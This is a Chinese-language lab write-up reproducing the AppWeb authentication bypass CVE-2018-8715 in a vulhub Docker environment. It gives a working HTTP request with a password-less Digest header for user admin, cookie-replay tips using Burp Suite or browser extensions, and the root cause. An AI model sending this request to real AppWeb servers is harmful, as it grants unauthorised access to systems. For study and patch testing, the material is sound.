AppWeb认证绕过漏洞(CVE-2018-8715)
1.漏洞影响版本
AppWeb<7.0.3
2.漏洞危害
认证绕过
3.漏洞POC
部署虚拟机
cd /root/vulhub/appweb/CVE-2018-8715 ////进入本次复现的vulhub目录
docker-compose up -d ////docker-compose搭建环境
you-ip:8080
利用该漏洞需要知道一个已存在的用户名,当前环境下用户名为admin。
构造头Authorization: Digest username=admin,并发送如下数据包:
GET / HTTP/1.1
Host: example.com
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Authorization: Digest username=admin
Tips
绕过认证,获取session上述数据包是认证的时候点击确定,删除其他的认证参数,留下username
两种方法修改cookie,一种使用浏览器插件
一种使用burpsuite
第一种永久性
谷歌浏览器cookie修改工具 火狐浏览器cookie修改工具 修改cookie第二种临时性
bp抓包添加cookie正常访问以上两种方法均可以绕过登录进行cookie认证
4.复盘
漏洞出现原因
AppWeb可以进行认证配置,其认证方式包括以下三种:
1.basic 传统HTTP基础认证
2.digest 改进版HTTP基础认证,认证成功后将使用Cookie来保存状态,而不用再传递Authorization头
3.form 表单认证
其7.0.3之前的版本中,对于digest和form两种认证方式,如果用户传入的密码为null(也就是没有传递密码参数),appweb将因为一个逻辑错误导致直接认证成功,并返回session。
网友评论